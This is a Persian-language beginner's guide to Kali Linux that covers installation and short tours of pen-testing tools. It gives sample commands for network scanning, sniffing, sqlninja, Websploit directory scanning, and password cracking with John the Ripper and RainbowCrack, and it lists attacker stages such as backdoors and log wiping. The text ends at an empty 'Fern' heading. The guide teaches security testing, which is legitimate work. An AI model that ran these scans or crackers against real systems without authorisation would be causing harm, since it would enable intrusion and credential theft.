لینوکس کالی

لینوکس کالی

Kali Linux

بر اساس ویرایش های 2013 الی 2017

 

ترجمه و گردآوری: مهران کارزاری

تابستان و پائیز نود و شش

لینوکس نسخه کالی (Kali):

 

معرفی

بخش اصلی یک سیستم عامل، هسته(Kernel) آن میباشد. هسته ها وظیفه کنترل تمام اتفاقات در یک سیستم را بر عهده دارند به همین روی، اولین برنامه ای که در رم سیستم آغاز به کار میکند و کنترل تمامی ورودی و خروجی ها، سایر برنامه های جانبی، درایور ها(ارتباط سخت افزار با هسته) و … را بر عهده میگیرد، هسته سیستم عامل می باشد.

سخت افزار
حافظه
پردازنده
نرم افزار
هسته / Kernel

 

 

 

 

 

 

پروژه GNU در سال 1984 در جهت پشتیبانی و گسترش نرم افزار های متن باز(Open Source)  ایجاد شد. در سال 1991 یک تیم نرم افزاری مستقل نیز شروع به کار بر روی ایجاد یک هسته لینوکسی شد با توجه به همزمانی دو موضوع، امکان استفاده از نرم افزار های GNU در این هسته فراهم شد. محصول این همکاری با نام GNU/Linux نامگزاری شد. این همزمانی باعث شد تا بسیاری این پروژه را فقط به اسم لینوکس بخوانند و امروزه این نام عمومیت پیدا کرده است. این پروژه مرهون تفکرات یک شخص به نام دکتر ریچارد متیو استالمن (Richard Matthew Stallman-1953)می باشد که معتقد بود نرم افزار می بایست متن باز بوده و هر کسی قابلیت انجام هر تغییری در آن را داشته باشد. از دیگر فعالیت های این مرد بزرگ می توان به ایجاد قانون Copyleft در برابر CopyRight اشاره کرد.

کالی یک سیستم عامل متن باز(Open Source) مبتنی بر Debian می باشد. کالی در حقیقت یک سیستم عامل تخصصی شده و ادامه دهنده Backtrack می باشد.

Backtrack خود یک سیستم عامل Open Source بودند که برای کشف نقاط ضعف امنیتی یک شبکه و سیستم های موجود به کار می رفت. تیم سازنده Backtrack دیگر قصد پشتیبانی از این سیستم را ندارد. آخرین نسخه آن بر پایه Ubuntu 10.4 و کرنل 2.6  ایجاد شد.

کالی، کاملا رایگان بوده و تا ابد نیز رایگان خواهد ماند، تیم توسعه دهنده آن تنها ابزار های کاربردی و کارآمد را در مجموعه خود قرار می دهند. این ابزار ها همگی رایگان بوده و تیم کالی قبل از اضافه کردن آن به سیستم عامل کالی نسبت به تضمین امنیت و تعهد آن یک قرار داد دو طرفه منعقد می کند(تعهد GPG). اگر شما قبلا تجربه کار با Backtrack را داشته اید، به خوبی می توانید با کالی ارتباط برقرار کنید و اگر یک کاربر جدید هستید، به سادگی خواهید توانست کالی را فراگرفته و از آن استفاده کنید.

تیم توسعه دهنده کالی تنها نرم افزار هایی را به مجموعه اضافه میکند که از کارکرد آنها اطمینان حاصل کرده و در حدود بیش از سیصد نرم افزار رایگان در مجموعه خود فراهم کرده است. شما می توانید هر کدام از این برنامه های را در نسخه های دیگر لینوکس نیز نصب کنید اما فراهم کردن نیازمندی های هر کدام دردسر هایی برای شما خواهد داشت، در حالیکه در کالی یک مجموعه آماده دارید. از طرفی کالی جهت استفاده های دیگر از قبیل سرور یا کاربر(Client) توصیه نمیشد. کالی، یک محیط ایده آل جهت برنامه نویسان زبان های C، Python و Ruby می باشد.

کالی، از اغلب زبان های دنیا منجمله، فارسی پشتیبانی میکند. از دیگر مزیای مهم کالی شناسایی اغلب کارت های شبکه با سیم و بی سیم؛ داخلی(PCI) و جانبی(USB) می باشد. به همه این موارد اضافه کنید که کالی یک مجموعه متن باز بوده و شما می توانید تغییرات دلخواه خود را نیز در آن ایجاد کنید. کالی برای هر دو نسخه پردازنده های 64 بیتی و 32 بیتی نگارش مختص آن را دارد. همچین کالی را می توان به دو صورت Live و یا نصبی بارگزاری کرد.

 

 

 

قبل از شروع به کار با کالی، در ابتدا می بایست با واژه تست نفوذ پذیری (Penetration testing or pen-testing) آشنا شویم.

پن تست یک روش مرسوم و متداول جهت برسی میزان امنیت یک سیستم کامپیوتری و یا شبکه ای از کامپیوتر ها با شبیه سازی حملات هکری می باشد. در این روش، کلیه سیستم شامل سیستم عامل، برنامه های جانبی، سرویس ها و قابلیت ها و … برسی شده و پس از یافتن موارد احتمالی نسبت به رفع مشکلات اقدام میکند.  البته این حملات بدون ایجاد هرگونه آسیب و خرابی هستند. متد های مختلف حمله می تواند به ارزیابی بهتر نقاط آسیب پذیر نرم افزار ها و سیستم های عامل، شبکه کمک کرده و همچنین گزارش مطلوبی ارائه دهد. تست نفوذ یک مقوله مختص و منحصر به خود در علوم کامپیوتری دارد.

حال وقتیکه صحبت از تست نفوذ به میان آید، لینوکس کالی، نامی است که در میان حرفه ای ها بسیار شنیده می شود. کالی، یک سیستم عامل لینوکسی حرفه ای با مجموعه از نرم افزار های متن باز رایگان می باشد که هر یک متد های مختلفی جهت انجام تست نفوذ پذیری دارند.

اغلب هکر ها با استفاده از شش متد زیر اقدام به نفوذ در یک شبکه می کنند:

  1. Recon- مرحله برسی هدف و جمع اطلاعات مورد نیاز با ابزار گوناگون
  2. Scanning- ترسیم نقشه و بررسی شبکه خود.
  3. Exploitation- حمله به حفره های موجود در طول اسکن.
  4. Elevation of Privileges- تغییر سطح دسترسی کاربران سطح پائین به ادمین یا روت یا کاربر سیستمی.
  5. Maintaining Access- استفاده از تکنیک هایی همانند Backdoorها جهت نگه داشتن دسترسی به شبکه.
  6. Covering their Tracks- پاک کردن Logها و فایل ها جهت حذف رد پای خود.

 

نصب:

لینوکس کالی به اشکال زیر قابل دانلود است:

  • فایل iso برای سیستم های 32 و یا 64 بیتی پردازنده های Intel و AMD
  • فایل جهت ساختار VMware
  • فایل جهت پردازنده های ARM

شما کالی را میتوانید به همراه یک سیستم عامل دیگر نیز داشته باشید و یا به عنوان یک ماشین مجازی. ما در اینجا نصب به صورت همراه با یک سیستم عامل دیگر را ابتداً شرح میدهیم. در سه مرحله بسیار ساده شما می توانید کالی لینوکس را نصب کنید.

  • گام اول – دریافت لینوکس کالی:

قبل از هر اقدامی شما می بایست سخت افزار مورد نیاز نصب کالی را برسی کنید.

  • 8 گیگا بایت فضا بر روی دیسک و حدود 25 گیگا بایت برای برنامه های جانبی که در این کتاب به آن خواهیم پرداخت.
  • یک گیگا بایت رم
  • یک درگاه ورودی قابل شناسایی و بوت شدن همانند USB و یا Optical Drive

بعد از فراهم کردن مشخصات فوق برای دانلود نسخه مورد نظر کالی خود به آدرس زیر بروید:

http://www.kali.org/downloads/

با توجه به ساختار پردازنده و نیاز خود اقدام به دانلود فایل مورد نظر کنید. پس از اتمام دریافت فایل، اقدام به ساخت دیسک یا فلش بوت از طریق برنامه های جانبی کنید. کالی قابل نصب:

  • بر روی هارد دیسک
  • بر روی حافظه های جانبی به صورت پایدار
  • بر روی برنامه های مجازی(VirtualBox, VMware, )

 

 

  • گام دوم – نصب و راه اندازی:

بعد از ساخت مدیا(DVD یا Flash) با قابلیت Boot، آنرا به سیستم مورد نظر متصل کرده و سیستم را مجددا راه اندازی میکنیم. با تنظیم سیستم جهت خواندن Boot از روی مدیای مورد نظر ما و بعد از دسترسی به آن صفحه ای مشابه تصویر زیر ملاحظه خواهید کرد:

اگر گزینه Live را انتخاب کنید، ظرف چند دقیقه سیستم بالا آمده و شما اولین تصویر از محیط Desktop کالی را خواهید دید.

بعد از اینکه صفحه Desktop کامل شد، بر روی Applications کلیک کرده و سپس System Tools و بعد Administration وبرنامه  GParted Partition editor را باز کنید.

شما یک شمه ای از فضای موجود بر روی هارد دیسک و پارتیشن بندی آن مشاهده خواهید کرد. برای نصب کالی شما به حداقل 12گیگابایت فضا نیاز خواهید داشت. بعد از انجام تغییرات بر روی هارد دیسک، حتما تغییرات را ذخیره کرده و از برنامه خارج شده و سیستم را مجدد راه اندازی کنید.

 

  • گام سوم: – شروع نصب:

مجددا به صفحه نمایش انتخاب گزینه های شروع می رسیم. گزینه Graphical Install را انتخاب کنید. در مراحل بعدی، باید زبان مورد نظرتان را انتخاب کنید:

سپس باید تنظیمات صفحه کلید و زبان آنرا مشخص کنید:

 

 

در مرحله انتخاب موقعیت، در صفحه نخست شما با کشور ایران مواجه نخواهید شد، بدین منظور لازم است گزینه other را انتخاب کرده و سپس Asia و در صفحه بعدی جمهوری اسلامی ایران را خواهید یافت.(در اینجا ایالت متحده انتخاب شده است)

سپس سیستم اقدام به نصب و شناسایی سخت افزارهای موجود میکند. با شناسایی کارت شبکه از شما یک نام جهت سیستم می پرسد:

و بعد باید  Domain خود را وارد کنید:

و سپس انتخاب کلمه رمز برای کاربر root. حتما به پسورد انتخابی برای کاربر root دقت کنید. پسورد پیشورد برای کاربر root در کالی toor می باشد.

حال باید موقعیت زمانی خود را جهت تنظیمات زمان سیستم مشخص کنید:

 

حال با تشخیص هارد دیسک، به مرحله پیکربندی آن خواهیم رسید. مطابق سایر توزیع های لینوکس، در اینجا چهار انتخاب پیش روی ماست. سه روش به صورت پیکربندی به همراه راهنمایی و یک روش به صورت کاملا دستی می باشد:

  • پیکربندی با استفاده از فضای موجود
  • پیکربندی با استفاده از فضای موجود و تنظیمات LVM
  • پیکربندی با استفاده از فضای موجود و تنظیمات LVM با رمزگزاری
  • پیکربندی کاملا به صورت دستی

LVM چیست؟ یک تکنیک برای اختصاص و پیکربندی هارد دیسک که به شما اجازه استفاده بهینه و هم چنین تغییرات در اندازه فضای هارد دیسک را میدهد. این تکنیک در مواردی که چند سیستم عامل بر روی سیستم مورد نظر نصب هستند بسیار کاربردی می باشد. LVM یک نرم افزار کاربردی بین لایه هارد دیسک و سیستم عامل هست و به همین دلیل علاوه بر ایجاد سهولت بسیار در پارتیشن بندی دیسک در سیستم عامل نیز تغییری نمیدهد و تا حدود بسیاری کاربر بدون اطلاع خواهد بود. مبحث LVM بسیار گسترده بوده و بیشتر وارد آن نمیشویم.

بعد از انتخاب پارتیشن، از شما پرسیده می شود که تمام اطلاعات بر روی یک پارتیشن باشد و یا اینکه پارتیشن های مختلفی برای /home /var /tmp در نظر بگیرد.

در نهایت تنظیماتی که انتخاب کردید را جهت تائید نهایی نمایش میدهد:

حال از شما پرسیده می شود که آیا قصد اتصال به شبکه جهت دریافت آخرین بسته های به روز رسانی را دارید؟ در صورتیکه اینترنت مناسبی دارید، اینکار پیشنهاد می شود:

شما حتی می توانید از طریق پراکسی(Proxy) به اینترنت متصل شوید و یا در صورتیکه ارتباط شما به صورت مستقیم هست این مرحله را رد کنید:

و اینکه آخرین پرسش از شما این است که تنظیمات بود Grub بر روی تنظیمات بوت اصلی ذخیره شود که شما با انتخاب گزینه Yes و ادامه شروع به نصب خواهید کرد:

و آماده نصب می شود. کالی اقدام به نصب بر روی پارتیشن منتخب میکند.

بعد از اتمام، سیستم مجدد راه اندازی میشود.

نصب کالی بر روی حافظه جانبی:

نصب لینوکس کالی به ما این مزیت را می دهد که همواره سیستم عامل اختصاصی خود را همراه داشته باشیم. تصور کنید، یک سیستم عامل همراه با برنامه ها و به روز رسانی های صورت گرفته در یک فلش چقدر می تواند راه گشا باشد.  با ابزاری همچون Win32 Disk Imager می توانیم یک فلش با قابلیت راه اندازی(Bootable) از اغلب نسخه های لینوکس منجمله کالی بسازیم. برای شروع باید نیازمندی های زیر را فراهم کنیم:

  • یک فلش دریاو با حداقال فضای 8 گیگا بایت که به صورت FAT32 فورمت شده باشد.
  • فایل ISO از لینوکس کالی. می توانید از مسیر http://www.kali.org/downloads آنرا دریافت کنید.
  • ابزار Win32 Disk Imager که از مسیر http://sourceforge.net/projects/win32diskimager
  • files/latest/download قابل دریافت است.

خوب، بعد از فراهم کردن موارد فوق شروع به نصب کالی بر روی فلش می کنیم:

فلش فورمت شده و قابل نوشتن و خواندن اطلاعات را به سیستم متصل میکنیم و سپس برنامه Win32 Disk Imager را اجرا میکنیم. برای آدرس دهی فایل iso بر روی آیکن پوشه در انتهای قسمت image file کلیک کرده و فایل را انتخاب میکنیم.

مطمئن شوید که مقدار Space used to preserve files across reboots حتما 4096 باشد.

درایو USB را انتخاب کرده و OK کنید تا برنامه شروع به ساخت درایو Bootable کند. این پروسه مدتی طول می کشد تا اینکه این برنامه فایل های مورد نیاز را بر روی درایو منتقل کند. پس از اینکه نصب تمام شد، شما می توانید سیستم را مجددا راه اندازی کرده و از سیستم عامل جدید خود که بر روی USB نصب کردید سیستم را راه اندازی کنید.

نصب کالی بر روی سیستم مجازی:

نصب بر روی VirtualBox:

نیازمندی ها برای نصب کالی در ابزاری مجازی سازی متن باز VirtualBox عبارتند از:

  • دریافت آخرین نسخه از VirtualBox از نشانی: http://www. virtualbox.org/wiki/Downloads
  • فایل ISO لینوکس کالی که قابل دریافت از نشانی: http://www.kali.org/download می باشد.

برنامه VirtualBox را باز کرده و با کلیک بر روی New اقدام به ساخت یک ماشین جدید می کنیم.

 

نصب بر روی VMware:

نصب کالی بر روی سیستم های مجازی بسیار راحت و ساده می باشد. کالی خود به صورت رسمی یک فایل جهت نصب بر روی VMware ارائه کرده است.

ابتدا یک ماشین ساخته،  در تنظیمات فایل بوت را به عنوان فایل نصبی معرفی کنید و سیستم را روشن کنید. سیستم شروع به نصب میکند با همان توضیحاتی که قبلا گفته شد. پس از نصب کالی به هر یک از متد های گفته شده، پس از بالا آمدن سیستم ما به یک سری از امکانات دسترسی خواهیم داشت. جهت آن دسته از دوستانی که برای اولین بار با چنین محیطی رو به رو می شوند مختصری توضیح میدهم برای آشنایی با کالی. اولین چیزی که نظر شما را جلب خواهد کرد، میز کار یا همان دسکتاپ کالی است.

Favorites Barدر نسخ های جدید کالی، یک Favorite bar در سمت چپ اضافه شده است. این قسمت جهت دسترسی به ابزار های عمومی و پرکاربرد تعبیه شده است. در انتهای لیست این امکان تعبیه شده است که بتوانید به سایر ابزار ها نیز دسترسی داشته باشید.

Applications Menuلیستی از برنامه ها به صورت دسته بندی شده قابل دسترسی در این قسمت هستند.

این دسته بندی بر اساس یک منطق صورت گرفته است. به عنوان مثال، با کلیک بر روی عبارت Web Application Analysis شما به مجموعه ای از ابزهایی دسترسی خواهید داشت که جهت برسی برنامه های تحت وب می باشند. توجه داشته باشید که در اینجا همه ابزار ها به شما نشان داده نمی شود. همانطوری که در ابتدا گفته شد، کالی شامل بیش از سیصد ابزار مختلف می باشد که مسلما این تعداد در این لیست ها گنجانده نمی شوند. بنابراین شما به لیستی از متداولترین این ابزار ها دسترسی خواهید داشت و بیشتر این ابزارها از طریق خط فرمان در درسترس خواهند بود.

Command Line Toolsاکثریت ابزاهای کالی در مسیر “/usr/share directory” قرار دارند.

به این ابزار ها، و ابزار هایی که قبلا در لیست Application ها اشاره شد، می توان از طریق همین ترمینال و وارد کردن نام آنها دسترسی داشت. با کمی تمرین و مرمر این منوها بیشتر آشنا خواهید شد.

25

 

به روز رسانی لینوکس کالی:

بعد از اتمام نصب، برای اطمینان از به روز بودن کالی می توانیم یک ترمینال باز کنیم و دستور زیر را وارد کنیم:

apt-get update

 

 

بله، حالا شما یک نسخه نصب شده از لینوکس کالی را در مقابل خود دارید. می توانید در آن جستجو کرده و چیز های فراوانی را فرابگیرید.

 

شروع به کار- آشنایی مختصر با ابزار های کالی:

خوب بیایید یک شیرجه در دنیای عمیق لینوکس کالی بزنیم و تا حدودی با علمکرد بعضی از ابزار های این توزیع آشنا بشویم. در ابتدا به ساختار شناسی فایلی در کالی می پردازیم.

آشنایی با ساختار حافظه:

ساختار فایلی کالی بیتر مبتنی بر نسخه لینوکس Ubuntu می باشد. بعضی از مهمترین محل هایی که ممکن است با آن برخورد داشته باشید شامل موارد ذیل می باشند:

  • /etc/: فایل تنظیمات برنامه های نصب شده را در اینجا می توانید پیدا کنید.
  • /opt/: شامل چهارچوب ها و ماژول های مرتبط برنامه های اختصاصی کالی.
  • /sys/: شامل فایل تنظیمات سخت افزار ها و وسایل جانبی
  • /root/: محل کاربر root
  • /lib/: شامل فایل های کتابخانه مرتبط با سیستم عامل

 

 

 

اغلب ابزارها و برنامه هایی که برای تست نفوذ و ارزیابی استفاده می شوند، در منوی Application  در Desktop قابل دسترسی هستند. این لیست بر اساس کاربردها به صورت منطقی مرتب شده اند. برای مشاهده آنها همانطوری که بالا گفته شد منوی Application  را باز کنید.

 

جمع آوری و شنود اطلاعات توسط کالی:

لینوکس کالی شامل یک مجموعه انحصاری از ابزارهایی است که به شما در پردازش اطلاعات جمع آوری شده کمک میکند.

Nmap(The network port mapper)، DNSmap و Trace از مهمترین این ابزارها می باشند. در زیر به برسی این سه برنامه می پردازیم.

 

تحلیل و برسی DNSmap:

اسم سیستم های یک دامنه(Domain name system) که به صورت اختصار DNS نامیده می شود، یک سیستم نامگذاری ترتیبی برای سرورها و منابع متصل به اینترنت می باشد. از این سیستم نام گزاری جهت دسترسی به سرویس های خاص استفاده می شود. به عنوان مثال www.karzari.ir جهت دسترسی به وب سروری که میزبان این دامنه به آن واگذار شده استفاده می شود. حال به برسی نرم افزار DNSmap در کالی می پردازیم.

DNSmap ابزاری است جهت پیدا کردن تمامی زیردامنه های موجود یک دامنه. دستور زیر در محیط ترمینال یک نقشه کامل از DNS “www.rediff.com  “را نشان خواهد داد:

root@kali:~#dnsmap rediff.com

 

جستجوگر شبکه:

این برنامه ها با جستجو در شبکه های عمومی و اختصاصی اطلاعات مربوط را استخارج و کسب می کنند.

Nmap یکی از محبوب تررین ابزارهای گردآورده اینگونه اطلاعات می باشد. این ابزار قدرتمند برای برسی و جستجوی سیستم ها و شبکه ها و درگاه های(Port) باز به جهت سرویس های در حال اجرا بر روی آن درگاه ها استفاده می شود. این اطلاعات بسیار کاربردی برای بازرسان حرفه ای و برسی کننده های نفوذ می باشد تا از طعمه قرار گرفتن این اهداف جلوگیری کنند. چند نمونه از فرمان nmap به همراه سوئیچ –h می توانید قابلیت های آن را مشاهده کنید.

namp –h

به عنوان مثال برای یک اسکن ساده بر پایه پروتکل UDP  از دستور زیر استفاده میکنیم:

namp –sU 192.168.5.0-255

برسی سیستم های فعال:

Fping دستوری است که به شما این امکان را می دهد تا یک سیستم را برسی کنید که به شبکه متصل هست یا خیر.

fping google.com

google.com is live

آنالیز SSL:

SSLScan یک برنامه جستجوی سریع در پورت های SSL می باشد. برسی میکند که چه رمزگزاری و پروتکل SSL پشتیبانی می شود و یا چه SSL Certificate پشتیبانی می شود.

 

شنود در شبکه:

Dsniff یک مجموعه برنامه است که طیف گسترده ای از عملیات شنود در شبکه را انجام میدهد. این برنامه ها به صورت غیر مستقیم تمامی ترافیک شبکه را برسی کرده و به دنبال داده های هیجان انگیز همانند رمزها، کلید های انتقال و ایمیل ها می گردد. برخی از ابزار های این مجموعه عبارتند از: urlsnarf, WebSpy, mailsnarf و … .

Netsniff یک از این مجموعه هست که با سرعت بالا و قوی در شبکه به طور خاص برای سیستم لینوکسی طراحی شده است. این ابزار بیشتر برای توسعه و آنالیزورها و همچنین برسی مشکلات و بازرسی ها بکار میرود. Netsniff-ng یک ابزار جستجوی سریع در شبکه مبتنی بر مکانیزم بسته ها mmap(2) می باشد.

Mmap(2) یک سیستم فراخوانی سیستمی مبتنی بر لینوکس و بر پایه استاندارد پاریکس است. در این روش که دسترسی به صورت صفحه بندی نیازی صورت میگیرد، یعنی اساسا تا زمان نیاز یک فایل یا … از هارد دیسک بر روی RAM بارگزاری نمیشود.

 

کار با ابزارهای ارزیابی آسیب پذیری:

ابزارهای ارزیابی آسیب پزیری، نقش مهمی در تست های نفوذ دارند. این ابزار به کارشناسان تست نفوذ این امکان را میدهد که محل های آسیب پذیر و نقاط ضعیف را کشف کنند. این ارزیابی، بر اساس نیاز و همچنین نرم افزار ها و خدمات صورت میگیرد.

Openvas یک ابزار متن باز برای برسی و آشکار سازی نقاط آسیب پذیر با یک چهارچوب خاص و با سناریوهای مختلف طراحی شد است. برای شروع به کار با این ابزار، از مسیر زیر آن را اجرا کنید:

Applications | Kali Linux | Vulnerability Analysis | OpenVAS

اگر بار اولی هست که این برنامه را باز میکنید، openvas-setup را اجرا کنید تا برنامه آخرین فایل های به روزرسانی و همچنین افزونه های (Plugin) مورد نیاز را دریافت کند.

مرحله بعد، اضافه کردن یککاربر جدید به OpenVAS می باشد. دستور زیر را در ترمینال وارد کنید:

openvas-adduser

می توانید مرحله انتجام تنظیمات را با فشردن Ctrl + D لغو کنید. برای به روز کردن Framwork با آخرین تاریخ و وابستگی ها(Dependenties) از دستور زیر استفاده کنید:

openvas-nvt-sync

 

حالا زمان آن رسیده که framwork را بارگزاری کرده و شروع به ارزیابی کنید. از مسیر Applications | Kali Linux | Vulnerability Analysis | OpenVAS | برنامه openvas-gsd را باز کنید. با این کار GUI framework بارگزاری شده و صفحه ورود کاربر و رمز بنمایش داده می شود. کاربر و کلمه رمزی که پیشتر تعریف کرده بودید و همچنین مشخصات سرور را وارد کنید.

بعد از ورود به برنامه می توانید شروع به جستجو کنید. برای شروع به مسیر Task | New رفته در پنجره باز شده یک اسم برای این عملیات انتخاب کنید. بقیه موارد را همانند شکل زیر انتخاب کنید:

بعد از اینکه Task مورد نظر ساخته شد، دقت کنید که نام مورد نظر شما در قسمت Interface لیست شده باشد. بر روی دکمه Start کلیک کرده تا عملیات جستجو آغاز شود.

 

تست نفوذ در برنامه های مبتنی بر وب در کالی:

برنامه های تحت وب، بخش مهمی از دنیای اینترنت امروزی هستند. سالم و ایمن نگه داشتن آنها از اولویت های اصلی مدیران آی تی و میزبان های این سرور ها می باشد.ساخت یک برنامه مبتنی بر وب، از ابتدا می تواند سخت خسته کننده باشد. بنابراین وجود اشکالاتی کوچک در برنامه که منجر به حفره های امنیتی باشد، بعید نخواهد بود. کالی جایی است که شما می توانید با مجموعه ای به نسبت کامل برنامه های وبی خود را ایمن سازی کنید. تست نفوذ ذر مورد صفحات وب می تواند شامل صفحه نخست، بانک اطلاعاتی و حتی خود سرور میزبان باشد. حال بیایید با برخی ابزارهای قدرتمند موجود در کالی ابتکار عمل را به دست گیریم.

 

ابزار WebScarab proxy:

ابزار WebScarab یک غالب رهگیری پراکسی های HTTP و HTTPS می باشد که به کاربر اجازه برسی و انجام تغییرات را قبل از ارسال به سرور میدهد. مشابه همین امر، انجام تغییرات در پاسخ های دریافت شده از طرف سرور قبل از رسیدن به دست Browser می باشد. ورژن جدید این ابزار، قابلیت های حرفه ای را دارد همانند تشخیص XSS/CSRF برسی شناسه Session و همچنین گیج کردن(Fuzzing).  مراحل زیر را دنبال کنید تا با ابزار WebScarab شروع به کار نمایید:

از مسیرApplications | Kali Linux | Web applications | Web application proxies | WebScarab  برنامه را باز کنید.

بعد از اینکه برنامه باز شد، شما باید در تنظیمات browser قسمت شبکه، تغغیراتی ایجاد کنید. پراکسی سرور را به آدرس 127.0.0.1 و پورت 8008تغییر دهید.

 

تنظیمات را ذخیره کرده و به برنامه WebScarab  باز گردیم.  بر روی برگه Proxy رفته و گزینه Intercept requests.  را انتخاب کنید. اطمینان حاصل کنید که هر دو قسمت Get و Post در پنل سمت چپ انتخاب شده باشند.  جهت دریافت پاسخ، پاسخ های رسیده شده را برسی کنید، برای شروع بهتر است سراغ پاسخ های ارسالی از سمت سرور بروید.

 

 

حمله به بانک اطلاعاتی با ابزار sqlninja:

Sqlninja یکی از محبوب ترین ابزار ها ی برسی آسیب پزیری رسوخ در سرورهای Microsoft sql هست. بانک اطلاعاتی، بخشی جدایی ناپذیر از  سرور های میزبان وب هستند که حتی کوچکترین نقصی میتواند آسیب های جبران ناپذیری وارد کند. حال بیایید ببینیم که sqlninja چگونه ابزاری برای تست امنیتی فراهم میکند:

دسترسی به این ابزار از مسیر Applications | Kali Linux | Web applications | Database Exploitation | sqlninja میسر می شود. یک صفحه ترمینال با سوئیچ های sqlninja برای شما نمایش داده خواهد شد. مهمترین سوئیچ این ابزار –m می باشد.

 

این سوئیچ مشخص کننده نوع هدفی است که ما در پایگاه داده مورد نظر دنبال میکنیم. بیایید نگار اجمالی به این سوئیچ و خروجی آن بیاندازیم:

sqlninja –m test

Sqlninja rel. 0.2.3-r1

Copyright (C) 2006-2008 icesurfer

[-] sqlninja.conf does not exist. You want to create it now ? [y/n]

با این دستور، به شما اجازه داده می شود تا فایل sqlninja.conf مورد نظر خود را تهیه کنید.شما می توانید با انجام تغییرات در این فایل، تنظیمات لازم را به دست بیاورید. بعد از این کار شما آماده انجام آزمون بر روی پایگاه اطلاعاتی مورد نظر را خواهید داشت.

 

ابزار Websploit:

یکی دیگر از ابزار های تست های نفوذ در وب سایت ها برنامه Websploit می باشد. این برنامه بسیار شبیه ابزار Metasploit می باشد و از بیشتر Pluginهای آن برای افزایش کارایی خود بهره می برد. این برنامه از مسیرApplications | Kali Linux | Web Applications | Web Application Fuzzers | Websploit در دسترس می باشد.

در ترمینال باز شده، دستور زیر را وارد کنید تا framework مربوطه به روز رسانی شود:

wsf>update

[*]Updating Websploit framework, Please Wait…

بعد از به روز رسانی می تونید با دستور زیر ماژول های موجود را مشاهده کنید:

wsf>show modules

به عنوان مثال اگر از ماژول جستجوی پوشه(Directory Scanner) برای سایت www.target.com استفاده کنیم، نتیجه زیر را خواهیم دید:

wsf>use web/dir_scanner

wsf:Dir_Scanner>show options

wsf:Dir_Scanner>set TARGET www.target.com

wsf:Dir_Scanner>run

وقتی که این دستور به اجرا درآید، Websploit ماژول حمله(Attack) خود را اجرا کرده و نتایج آن را نشان میدهد. همچنین میتوانیم ماژول های دیگر را بر اساس سناریوی های دلخواه خود فراخوانی کنیم.

 

شکستن پسوردها:

پسورد ها، از متداول ترین روش های رمزگزاری در سیستم های کامپیوتری هستند. بنابراین، شکستن یا به دست آوردن آنها می تواند یک راه مستقیم نفوذ به سیستم ایجاد کند و یا اینکه شما دسترسی های بالاتری را تصاحب کنید. لینوکس کالی می تواند با چند ابزار متفاوت به صورت آنلاین و یا آفلاین پسورد ها را بشکند. بیایید نگاهی به مهمترین این ابزارها بیاندازیم:

 

John the Ripper:

یک ابزار موثر و در عین حال رایگان برای شکستن پسورد های ساده در لینوکس، پسورد های مبتنی بر LM Hash دز ویندوز، پسورد های منطبق بر استاندارد DES و Kerberos و بسیاری دیگر از انواع متد های رمز نگاری می باشد. شکتن رمز ها در این ابزار با استفاده از روش آزمون و خطا(Brute Force) در جایی که رمز ها در یک فایل ذخیره می شوند صورت میگیرد. همچنین ما می توانیم یک سری از پسورد های متداول یا تخمینی خود را برای جستجو در این ابزار قرار دهیم.

برای دسترسی به این ابزار به مسیر زیر بروید:

Applications | Kali Linux | Password Attacks | Offline Attacks | John.

برای استفاده از حمله با روش Brute Force برای دسترسی به پسورد ها از طریق یک فایل مشابه دستور زیر را وارد کنید:

root@kali:~#john pwd

در اینجا منظور از pwd اسم همان فایل ساخته شده توسط ما می باشد. برای اینکه پسورد های پیدا شده، نمایش داده شوند می توان از سوئیچ زیر به همراه دستور بالا استفاده کرد:

root@kali:~#john –show pwd

همچنین می توان لیستی از کلمات را نیز بکار برد:

root@kali:~#john –wordlist=password.lst –rules pwd

 

ابزار RainbowCrack:

RainbowCrack از ابزار John the Ripper سریعتر می باشد. به این دلیل که در این ابزار از متد Rainbow table استفاده می شود. Rainbow table شامل مجموعه ای بزرگ Hashهای از پیش شکسته شده و مشابه رمز های متصور می باشد. کاربر Hash را به عنوان ورودی به rainbow crack می دهد، و این ابزار شروع به مقایسه با رمز های احتمالی میکند. این روش به دلیل اینکه دایره محدود تری نصبت به روش Brute Force دارد کاربردی تر است. جهت اجرای آن به مسیر Applications | Kali Linux | Password Attacks | Offline Attacks | RainbowCrack. می روید.

یک دستور به عنوان نمونه به صورت زیر می باشد:

rcrack *.rt –l hash.txt

این خط ابزار RainbowCrack را فراخوانی میکند، Rainbow شروع به جستجو به سبک wildcard در جدول خود می کند و Hash شکسته شده در فایل Hash.txt ذخیره می شود.

 

هدف قرار دادن شبکه های بی سیم (Wireless):

یکی از اصلی ترین متد های اتصال به شبکه از طریق اتصال های wireless می باشد. همین عامل باعث می شود که یک دامنه بزرگ برای انجام تست نفوذ فراهم شود. تست نفوذی که در این شبکه های مورد نظر ما می باشد تقریبا مشابه همان شبکه های مبتنی بر سیم هست. تنها تفاوت در نحوه اتصال و پروتکل های آن می باشد. کالی ابزار سود مند بسیاری جهت انجام تست های نفوذ در این مقوله می باشد. نظری کوتاه به چند ابزار در این زمینه می اندازیم.

 

کار با ابزار Kismet:

Kismet یک ابزار جهت شنود و تشخیص شبکه های wireless جهت برسی اطلاعات مبادله شده در این شبکه می باشد. Kismet با جمع آوری پنهانی Packet ها اقدام به شناسایی شبکه ها مخفی و یا مشخص از طریق ترافیک داده ها میکند. این ابزار از مسیر Applications | Kali Linux | Wireless Attacks | Wireless tools | Kismet. در دسترس می باشد.

 

بعد از اینکه صفحه ترمینال را مشاهده کردید، عبارت kismet را تایپ کرده و Enter کنید. یک صفحه مقدماتی همراه با سئوالاتی نمایش داده می شود، سئوالات رو پاسخ داده و سرور راه اندازی شد. در بار نخست راه اندازی از شما میخواهد که Interface خود را نیز انتخاب کنید.

 

کارت شبکه بی سیم خود را انتخاب کنید(معمولا با نام wlan0 معرفی میشود) و سپس دکمه Add را همانند تصویر زیر بزنید:

 

پس از انتخاب شبکه، Kismet شروع به شناسایی شبکه های بی سیم قابل دسترسی می کند. شما می توانید یکی از آنها را انتخاب کرده تا برنامه شروع به جمع آوری اطلاعات آن شبکه نماید.

 

این مختصری بود از چگونگی کارکرد Kismet از تشخیص شبکه های wireless و شنود آنها.

 

ابزار Fern:

